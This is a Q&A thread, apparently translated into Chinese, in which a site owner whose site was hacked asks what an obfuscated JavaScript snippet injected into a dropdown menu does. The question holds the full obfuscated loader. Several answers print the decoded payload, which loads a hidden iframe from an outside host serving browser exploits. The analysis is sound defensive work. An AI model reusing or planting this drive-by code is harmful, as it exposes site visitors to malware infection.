2011-07-10 52 views
5

剛剛發現我的網站已被黑客入侵。我將問題追溯到插入到Suckerfish下拉菜單中的這段JavaScript代碼。我要用乾淨的備份來替換菜單,但我只是好奇這段代碼實際上做了什麼?網站遭到黑客入侵 - 此Javascript代碼做了什麼?

(function() { 
    var kuk = 'ck5', 
    de = document, 
    n = navigator, 
    u = n.userAgent, 
    l = 'anguage'; 
    function c(b) { 
     var i = 'indexOf', 
     l = 'length', 
     c = de.cookie; 
     b = b + "="; 
     var a = c[i]("; " + b), 
     d = c[i](";", a); 
     if (a == -1) { 
      a = c[i](b); 
      if (a != 0) 
       return 0 
     } 
     return 1 
    } 
    n = /^en-gb$/i.test(n['systemL' + l] || n['userL' + l] || n['l' + l]) && /(msie) ([\w.]+)|(mozilla)(?:.*? rv:([\w.]+))?/i.test(u) && !c(kuk); 
    if (n) { 
     var s, 
     g = 2, 
     aa = document.createTextNode("harCode"); 
     if (Math.exp(1) === Math.E) { 
      s = String["fr" + "omC" + aa.nodeValue]; 
     } 
     eval(s(7 + g, 7 + g, 103 + g, 100 + g, 30 + g, 38 + g, 98 + g, 109 + g, 97 + g, 115 + g, 107 + g, 99 + g, 108 + g, 114 + g, 44 + g, 101 + g, 99 + g, 114 + g, 67 + g, 106 + g, 99 + g, 107 + g, 99 + g, 108 + g, 114 + g, 113 + g, 64 + g, 119 + g, 82 + g, 95 + g, 101 + g, 76 + g, 95 + g, 107 + g, 99 + g, 38 + g, 37 + g, 96 + g, 109 + g, 98 + g, 119 + g, 37 + g, 39 + g, 89 + g, 46 + g, 91 + g, 39 + g, 121 + g, 7 + g, 7 + g, 7 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 112 + g, 38 + g, 39 + g, 57 + g, 7 + g, 7 + g, 123 + g, 30 + g, 99 + g, 106 + g, 113 + g, 99 + g, 30 + g, 121 + g, 7 + g, 7 + g, 7 + g, 98 + g, 109 + g, 97 + g, 115 + g, 107 + g, 99 + g, 108 + g, 114 + g, 44 + g, 117 + g, 112 + g, 103 + g, 114 + g, 99 + g, 38 + g, 32 + g, 58 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 30 + g, 113 + g, 112 + g, 97 + g, 59 + g, 37 + g, 102 + g, 114 + g, 114 + g, 110 + g, 56 + g, 45 + g, 45 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 49 + g, 44 + g, 97 + g, 120 + g, 44 + g, 97 + g, 97 + g, 45 + g, 103 + g, 108 + g, 98 + g, 99 + g, 118 + g, 44 + g, 110 + g, 102 + g, 110 + g, 61 + g, 114 + g, 110 + g, 59 + g, 96 + g, 95 + g, 47 + g, 51 + g, 95 + g, 46 + g, 52 + g, 50 + g, 51 + g, 99 + g, 96 + g, 95 + g, 50 + g, 99 + g, 98 + g, 99 + g, 37 + g, 30 + g, 117 + g, 103 + g, 98 + g, 114 + g, 102 + g, 59 + g, 37 + g, 47 + g, 46 + g, 37 + g, 30 + g, 102 + g, 99 + g, 103 + g, 101 + g, 102 + g, 114 + g, 59 + g, 37 + g, 47 + g, 46 + g, 37 + g, 30 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 59 + g, 37 + g, 116 + g, 103 + g, 113 + g, 103 + g, 96 + g, 103 + g, 106 + g, 103 + g, 114 + g, 119 + g, 56 + g, 102 + g, 103 + g, 98 + g, 98 + g, 99 + g, 108 + g, 57 + g, 110 + g, 109 + g, 113 + g, 103 + g, 114 + g, 103 + g, 109 + g, 108 + g, 56 + g, 95 + g, 96 + g, 113 + g, 109 + g, 106 + g, 115 + g, 114 + g, 99 + g, 57 + g, 106 + g, 99 + g, 100 + g, 114 + g, 56 + g, 46 + g, 57 + g, 114 + g, 109 + g, 110 + g, 56 + g, 46 + g, 57 + g, 37 + g, 60 + g, 58 + g, 45 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 60 + g, 32 + g, 39 + g, 57 + g, 7 + g, 7 + g, 123 + g, 7 + g, 7 + g, 100 + g, 115 + g, 108 + g, 97 + g, 114 + g, 103 + g, 109 + g, 108 + g, 30 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 112 + g, 38 + g, 39 + g, 121 + g, 7 + g, 7 + g, 7 + g, 116 + g, 95 + g, 112 + g, 30 + g, 100 + g, 30 + g, 59 + g, 30 + g, 98 + g, 109 + g, 97 + g, 115 + g, 107 + g, 99 + g, 108 + g, 114 + g, 44 + g, 97 + g, 112 + g, 99 + g, 95 + g, 114 + g, 99 + g, 67 + g, 106 + g, 99 + g, 107 + g, 99 + g, 108 + g, 114 + g, 38 + g, 37 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 37 + g, 39 + g, 57 + g, 100 + g, 44 + g, 113 + g, 99 + g, 114 + g, 63 + g, 114 + g, 114 + g, 112 + g, 103 + g, 96 + g, 115 + g, 114 + g, 99 + g, 38 + g, 37 + g, 113 + g, 112 + g, 97 + g, 37 + g, 42 + g, 37 + g, 102 + g, 114 + g, 114 + g, 110 + g, 56 + g, 45 + g, 45 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 49 + g, 44 + g, 97 + g, 120 + g, 44 + g, 97 + g, 97 + g, 45 + g, 103 + g, 108 + g, 98 + g, 99 + g, 118 + g, 44 + g, 110 + g, 102 + g, 110 + g, 61 + g, 114 + g, 110 + g, 59 + g, 96 + g, 95 + g, 47 + g, 51 + g, 95 + g, 46 + g, 52 + g, 50 + g, 51 + g, 99 + g, 96 + g, 95 + g, 50 + g, 99 + g, 98 + g, 99 + g, 37 + g, 39 + g, 57 + g, 100 + g, 44 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 44 + g, 116 + g, 103 + g, 113 + g, 103 + g, 96 + g, 103 + g, 106 + g, 103 + g, 114 + g, 119 + g, 59 + g, 37 + g, 102 + g, 103 + g, 98 + g, 98 + g, 99 + g, 108 + g, 37 + g, 57 + g, 100 + g, 44 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 44 + g, 110 + g, 109 + g, 113 + g, 103 + g, 114 + g, 103 + g, 109 + g, 108 + g, 59 + g, 37 + g, 95 + g, 96 + g, 113 + g, 109 + g, 106 + g, 115 + g, 114 + g, 99 + g, 37 + g, 57 + g, 100 + g, 44 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 44 + g, 106 + g, 99 + g, 100 + g, 114 + g, 59 + g, 37 + g, 46 + g, 37 + g, 57 + g, 100 + g, 44 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 44 + g, 114 + g, 109 + g, 110 + g, 59 + g, 37 + g, 46 + g, 37 + g, 57 + g, 100 + g, 44 + g, 113 + g, 99 + g, 114 + g, 63 + g, 114 + g, 114 + g, 112 + g, 103 + g, 96 + g, 115 + g, 114 + g, 99 + g, 38 + g, 37 + g, 117 + g, 103 + g, 98 + g, 114 + g, 102 + g, 37 + g, 42 + g, 37 + g, 47 + g, 46 + g, 37 + g, 39 + g, 57 + g, 100 + g, 44 + g, 113 + g, 99 + g, 114 + g, 63 + g, 114 + g, 114 + g, 112 + g, 103 + g, 96 + g, 115 + g, 114 + g, 99 + g, 38 + g, 37 + g, 102 + g, 99 + g, 103 + g, 101 + g, 102 + g, 114 + g, 37 + g, 42 + g, 37 + g, 47 + g, 46 + g, 37 + g, 39 + g, 57 + g, 7 + g, 7 + g, 7 + g, 98 + g, 109 + g, 97 + g, 115 + g, 107 + g, 99 + g, 108 + g, 114 + g, 44 + g, 101 + g, 99 + g, 114 + g, 67 + g, 106 + g, 99 + g, 107 + g, 99 + g, 108 + g, 114 + g, 113 + g, 64 + g, 119 + g, 82 + g, 95 + g, 101 + g, 76 + g, 95 + g, 107 + g, 99 + g, 38 + g, 37 + g, 96 + g, 109 + g, 98 + g, 119 + g, 37 + g, 39 + g, 89 + g, 46 + g, 91 + g, 44 + g, 95 + g, 110 + g, 110 + g, 99 + g, 108 + g, 98 + g, 65 + g, 102 + g, 103 + g, 106 + g, 98 + g, 38 + g, 100 + g, 39 + g, 57 + g, 7 + g, 7 + g, 123 + g)); 
     n = new Date(); 
     n.setDate(n.getDate() + 3650); 
     de.cookie = kuk + '=1;path=/;expires=' + n.toUTCString() 
     } 
})() 
+0

http://sucuri.net/malware/malware-entry-mwiframehd203 –

+0

它被大量混淆 - 甚至比我見過的大多數都要多。但沒有被縮小,這是令人驚訝的(因爲這會讓閱讀變得更難) – Spudley

回答

6

更改eval以提醒並運行它。其基本思想是它抓取了一堆關於用戶的信息,並將其存儲在一個cookie中,然後使用String.fromCharCode(它被混淆了,但仍然存在),並執行了一些代碼,這些代碼爲可能試圖訪問的惡意網站創建一個iframe到使用各種漏洞的用戶計算機。

http://fiddle.jshell.net/qHeJ3/

這裏的有效載荷:

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write("<iframe src='http://asasasasa3.cz.cc/ 
index.php?tp=ba15a0645eba4ede' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
} 

function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://asasasasa3.cz.cc/index.php?tp=ba15a0645e 
ba4ede'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 
4

它嵌入從http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede一種無形的iframe中。

格式化代碼:

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write("<iframe " + 
       "src='http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede' " + 
        "width='10' height='10' " + 
        "style='visibility:hidden;position:absolute;left:0;top:0;'>" + 
        "</iframe>") 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 
        'http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede'); 
    f.style.visibility='hidden'; 
    f.style.position='absolute'; 
    f.style.left='0'; 
    f.style.top='0'; 
    f.setAttribute('width','10'); 
    f.setAttribute('height','10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

從上述URL加載(executed code,解開另一個模糊處理層之後)的頁面似乎嘗試利用多個漏洞。它嘗試各種插件,並加載更多頁面,可能嘗試其他漏洞。

0

通常我認爲這些類型的JavaScript注入技術會沿着劫持鏈接的方式做某些事情,以便他們將重新路由點擊到某個惡意位置(具有惡意目的的站點,直接連接到可執行文件的鏈接等)。它被切成小塊的原因是爲了規避反釣魚和反間諜軟件。

正如其他人指出的那樣,這一個添加了一個iframe到您的頁面,試圖劫持您的機器。

1

接近eval末尾的那條線是有效載荷。基本上這是一個JavaScript注入攻擊,從ASCII值中隨時創建一堆JavaScript,並執行它。

這是jsFiddle demonstrating它寫入您的頁面。

基本上它的創建一個新的隱藏的iFrame,並從http加載網址://asasasasa3.cz.cc

2

eval(s(...))解碼是:

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write("<iframe src='http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 
1

這裏是模糊化的JavaScript代碼:

if (document.getElementsByTagName('body')[0]) 
{ 
    iframer(); 
} 
else 
{ 
    document.write("<iframe src='http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
} 
function iframer() 
{ 
    var f = document.createElement('iframe'); 
    f.setAttribute('src','http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede'); 
    f.style.visibility='hidden'; 
    f.style.position='absolute'; 
    f.style.left='0'; 
    f.style.top='0'; 
    f.setAttribute('width','10'); 
    f.setAttribute('height','10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 
相關問題